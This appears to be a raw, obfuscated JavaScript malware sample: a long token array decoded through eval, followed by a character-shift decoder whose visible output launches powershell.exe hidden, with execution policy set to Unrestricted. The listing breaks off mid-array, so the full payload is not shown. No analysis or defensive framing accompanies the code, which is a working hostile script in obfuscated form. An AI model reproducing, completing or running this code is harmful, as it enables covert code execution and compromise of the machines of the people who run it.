UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, ba, mv, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, qw, kZ, UW, AY, qw, kZ, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, ba, ba, UW, AY, Wi, qw, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, ba, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, Wi, qw, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, ba, Wi, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, ba, ba, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, qw, kZ, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, Wi, mv, UW, AY, Wi, DH, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, qw, ig, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, ba, Wi, UW, AY, ba, ba, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, qw, kZ, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, AY, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, DH, UW, AY, ba, Wi, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, Wi, ig, UW, AY, Wi, qw, UW, AY, qw, ig, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, ba, mv, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, qw, kZ, UW, AY, ba, Wi, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, qw, ig, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, Wi, ig, UW, AY, Wi, zs, UW, AY, Wi, ba, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, qw, kZ, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, ba, ba, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, qw, kZ, UW, AY, ba, ba, UW, AY, ba, mv, UW, AY, Wi, zs, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, qw, kZ, UW, AY, qw, kZ, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, ba, Wi, UW, AY, Wi, DH, UW, AY, Wi, AY, UW, AY, Wi, HY, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, Wi, mv, UW, AY, qw, Wi, UW, AY, ba, mv, UW, AY, Wi, qw, UW, AY, qw, Wi, UW, AY, Wi, ig, UW, AY, Wi, DH, UW, AY, qw, Wi, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, qw, ig, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, ba, ba, UW, AY, ba, Wi, UW, AY, Wi, mv, UW, AY, qw, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, ba, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, AY, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, Wi, HY, UW, AY, ba, Wi, UW, AY, qw, Wi, UW, AY, Wi, kZ, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, Wi, HY, UW, AY, ba, mv, UW, AY, Wi, zs, UW, AY, qw, ig, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, Wi, qw, UW, AY, Wi, zs, UW, AY, qw, kZ, UW, AY, ba, mv, UW, AY, ba, qw, UW, AY, qw, ig, UW, AY, Wi, qw, UW, AY, Wi, DH, UW, AY, Wi, AY, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, Wi, HY, UW, AY, Wi, ig, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, Wi, qw, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, Wi, DH, UW, AY, qw, ig, UW, AY, Wi, AY, UW, AY, qw, kZ, UW, AY, Wi, zs, UW, AY, ba, mv, UW, AY, ba, mv, UW, AY, Wi, kZ, UW, AY, Wi, qw, UW, AY, qw, Wi, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, Wi, AY, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, qw, Wi, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, ba, qw, UW, AY, Wi, kZ, UW, AY, Wi, zs, UW, AY, ba, ba, UW, AY, ba, qw, UW, AY, Wi, HY, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, DH, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, DH, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, qw, UW, AY, ba, ba, UW, AY, Wi, ig, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, HY, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, Wi, ba, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, ba, Wi, UW, AY, Wi, kZ, UW, AY, ba, Wi, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, qw, Wi, UW, AY, Wi, DH, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, ba, qw, UW, AY, Wi, zs, UW, AY, ba, Wi, UW, AY, Wi, AY, UW, AY, Wi, mv, UW, AY, Wi, qw, UW, AY, ba, Wi, UW, AY, ba, mv, UW, AY, ba, Wi, UW, AY, ba, qw, UW, AY, ba, mv, UW, AY, qw, Wi, UW, AY, Wi, zs, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, Wi, mv, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, mv, UW, AY, ba, Wi, UW, AY, Wi, qw, UW, AY, Wi, qw, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, Wi, ig, UW, AY, Wi, ba, UW, AY, Wi, mv, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, qw, kZ, UW, AY, Wi, mv, UW, AY, ba, mv, UW, AY, qw, kZ, UW, AY, qw, ig, UW, AY, Wi, kZ, UW, AY, ba, mv, UW, AY, Wi, AY, UW, AY, ba, qw, UW, AY, Wi, ig, UW, AY, ba, mv, UW, AY, ba, ba, UW, AY, Wi, HY, UW, AY, Wi, AY, UW, HY, ig, ba, UW, HY, ig, DH, UW, AY, qw, ba, UW, HY, kZ, ig, UW, AY, HY, Wi, UW, AY, HY, ig, UW, AY, AY, Wi, UW, AY, HY, Wi, UW, AY, qw, DH, UW, HY, ig, kZ, UW, AY, HY, ig, UW, AY, AY, DH, UW, AY, HY, kZ, UW, AY, AY, mv, UW, HY, kZ, HY, UW, AY, DH, DH, UW, AY, HY, ba, UW, AY, HY, zs, UW, AY, HY, Wi, UW, AY, AY, zs, UW, AY, DH, DH, UW, AY, DH, AY, UW, AY, DH, AY, UW, HY, ig, mv, UW, HY, ig, mv, UW, AY, DH, DH, UW, AY, mv, AY, UW, AY, HY, DH, UW, AY, HY, ba, UW, AY, zs, Wi, UW, AY, AY, zs, UW, AY, HY, kZ, UW, AY, AY, ig, UW, AY, zs, DH, UW, HY, ig, ig, UW, AY, ba, Wi, UW, AY, AY, zs, UW, AY, zs, DH, UW, AY, AY, HY, UW, AY, AY, ig, UW, AY, AY, DH, UW, AY, HY, AY, UW, AY, AY, zs, UW, AY, HY, Wi, UW, AY, AY, HY, UW, AY, HY, zs, UW, AY, zs, DH, UW, HY, ig, ig, UW, AY, qw, kZ, UW, AY, HY, DH, UW, AY, AY, kZ, UW, AY, DH, AY, UW, AY, qw, qw, UW, AY, qw, qw, UW, AY, ba, Wi, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, HY, Wi, UW, AY, AY, ig, UW, AY, HY, DH, UW, HY, ig, mv, UW, HY, ig, DH, UW, HY, ig, DH, UW, HY, ig, ig, UW, AY, ba, Wi, UW, AY, AY, zs, UW, AY, HY, DH, UW, AY, HY, Wi, UW, AY, AY, ig, UW, AY, HY, DH, UW, AY, ba, qw, UW, AY, HY, DH, UW, AY, HY, ba, UW, AY, AY, zs, UW, AY, zs, DH, UW, AY, AY, HY, UW, AY, AY, ig, UW, AY, AY, DH, UW, AY, AY, zs, UW, HY, ig, mv, UW, HY, ig, mv, UW, AY, DH, ba, UW, AY, DH, ba, UW, AY, HY, ig, UW, AY, HY, mv, UW, HY, ig, mv, UW, HY, ig, ba, UW, AY, Wi, AY, UW, AY, Wi, ba, UW, AY, Wi, HY, UW, AY, ba, ba, UW, AY, Wi, zs, UW, AY, qw, Wi, UW, AY, Wi, HY, UW, AY, Wi, DH, UW, AY, Wi, HY, UW, AY, Wi, ba, UW, AY, Wi, AY, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, kZ, UW, AY, Wi, HY, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, zs, UW, AY, Wi, DH, UW, AY, Wi, kZ, UW, AY, Wi, ig, UW, AY, Wi, kZ, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, qw, Wi, UW, AY, Wi, AY, UW, AY, Wi, AY, UW, AY, Wi, zs, UW, AY, Wi, HY, UW, AY, Wi, HY, UW, AY, ba, mv, UW, HY, ig, ba, UW, HY, ig, DH, UW, HY, ig, DH, UW, HY, ig, zs, UW, AY, DH, DH, UW, AY, HY, qw, UW, AY, zs, DH, UW, AY, AY, ig, UW, AY, HY, DH, UW, AY, DH, DH, UW, AY, DH, AY, UW, AY, DH, AY, UW, AY, qw, qw, UW, AY, qw, qw, UW, AY, AY, mv, UW, AY, HY, DH, UW, AY, zs, ba, UW, HY, ig, mv, UW, AY, Wi, ba, UW, AY, Wi, zs, UW, HY, ig, DH, UW, HY, ig, DH, UW, HY, ig, ig, UW, AY, mv, zs, UW, AY, AY, zs, UW, AY, HY, Wi, UW, AY, AY, mv, UW, AY, AY, kZ, UW, AY, HY, HY, UW, AY, AY, DH, UW, AY, AY, zs, UW, AY, AY, ba, UW, AY, ba, mv, UW, AY, HY, kZ, UW, AY, AY, mv, UW, AY, HY, Wi, UW, AY, AY, qw, UW, AY, qw, ig, UW, AY, AY, qw, UW, AY, AY, DH, UW, AY, HY, ba, UW, AY, AY, Wi, UW, HY, ig, mv, UW, HY, kZ, ig, UW, AY, ba, kZ, UW, AY, mv, mv, UW, AY, zs, ba, UW, AY, ba, Wi, UW, HY, ig, zs, UW, AY, Wi, qw, UW, HY, ig, zs, UW, HY, kZ, ig, UW, AY, ba, kZ, UW, AY, mv, mv, UW, AY, zs, ba, UW, AY, ba, Wi, UW, HY, ig, ig, UW, AY, ba, ig, UW, AY, HY, DH, UW, AY, AY, mv, UW, AY, HY, AY, UW, AY, AY, ig, UW, AY, HY, zs, UW, HY, ig, DH, UW, HY, ig, DH, UW, AY, qw, ba, UW, HY, kZ, HY, UW, HY, ig, qw, UW, HY, kZ, HY, UW, HY, kZ, ig, UW, AY, HY, Wi, UW, AY, HY, ig, UW, AY, AY, Wi, UW, AY, HY, Wi, UW, HY, ig, ig, UW, AY, mv, AY, UW, AY, zs, Wi, UW, AY, HY, qw, UW, AY, AY, kZ, UW, AY, AY, ig, UW, AY, AY, zs, UW, AY, HY, kZ, UW, AY, AY, mv, UW, AY, HY, AY, UW, HY, ig, mv, UW, AY, Wi, qw, UW, HY, ig, zs, UW, AY, Wi, DH, UW, HY, ig, DH, UW, HY, kZ, HY, UW, HY, kZ, ig, UW, AY, HY, Wi, UW, AY, HY, ig, UW, AY, AY, Wi, UW, AY, HY, Wi, UW, HY, ig, ig, UW, AY, mv, AY, UW, AY, zs, Wi, UW, AY, HY, qw, UW, AY, AY, kZ, UW, AY, AY, ig, UW, AY, AY, zs, UW, AY, HY, kZ, UW, AY, AY, mv, UW, AY, HY, AY, UW, HY, ig, mv, UW, AY, Wi, DH, UW, HY, ig, DH, Ez, Mi, En, JI, iI, sm, cN, MB, iI, df, et, Zs, AK, cN, fw, cN, sm, Xj, Vu, uu, XY, Zm, qp, NK, AY, DH, Wi, UW, AY, mv, AY, UW, AY, HY, ba, UW, AY, AY, zs, UW, AY, HY, kZ, UW, AY, AY, HY, UW, AY, AY, ig, UW, HY, ig, ig, UW, AY, mv, AY, UW, AY, HY, zs, UW, AY, HY, DH, UW, AY, AY, qw, UW, AY, AY, qw, Ez, Mi, En, JI, iI, sm, cN, sm, Xj, Vu, uu, XY, Zm, cN, fw, cN, Sy, tw, Ae, cN, PU, fr, AL, EJ, JI, tw, uu, EB, oW, Zs, tw, fr, AL, qp, MB, iI, df, et, Zs, AK, Mi, En, sm, Xj, Vu, uu, XY, Zm, wD, dS, wB, Sy, qp, df, dS, iG, Vx, cV, UW, cN, Wi, UW, cN, AL, sm, wB, tw, Mi, En );
63	eval ( dzWC );	eval("function rZNXxq(ibycEi){var oRfIk= "";for (var LaozjU = 0;LaozjU < ibycEi.length; LaozjU++){var XibJZ = String.fromCharCode(ibycEi[LaozjU] - 553);oRfIk = oRfIk + XibJZ}return oRfIk};var oRfIk = rZNXxq([665,664,672,654,667,668,657,654,661,661,599,654,673,654,585,598,672,585,602,585,598,654,665,585,638,663,667,654,668,669,667,658,652,669,654,653,585,598,663,664,665,585,655,670,663,652,669,658,664,663,585,642,642,659,653,593,589,618,657,661,618,652,594,676,667,654,669,670,667,663,585,598,668,665,661,658,669,585,593,589,618,657,661,618,652,585,598,667,654,665,661,650,652,654,585,592,599,599,592,597,585,592,601,673,589,591,585,592,594,678,612,589,628,633,672,620,585,614,585,642,642,659,653,593,592,610,607,603,607,618,620,610,620,618,602,602,623,609,608,607,601,601,621,618,604,621,605,621,607,606,602,603,601,601,603,620,608,621,619,621,603,607,610,603,618,608,623,621,606,603,605,619,619,605,623,621,602,603,601,619,609,608,601,604,622,607,603,619,608,609,609,603,604,622,620,609,604,603,603,604,609,621,621,602,606,602,609,622,605,605,607,604,602,608,603,607,607,604,619,619,608,606,609,602,623,607,607,604,609,618,605,621,619,604,607,607,604,604,623,621,605,606,609,608,622,618,620,619,602,623,607,622,610,603,608,609,604,619,606,604,607,619,601,601,604,604,610,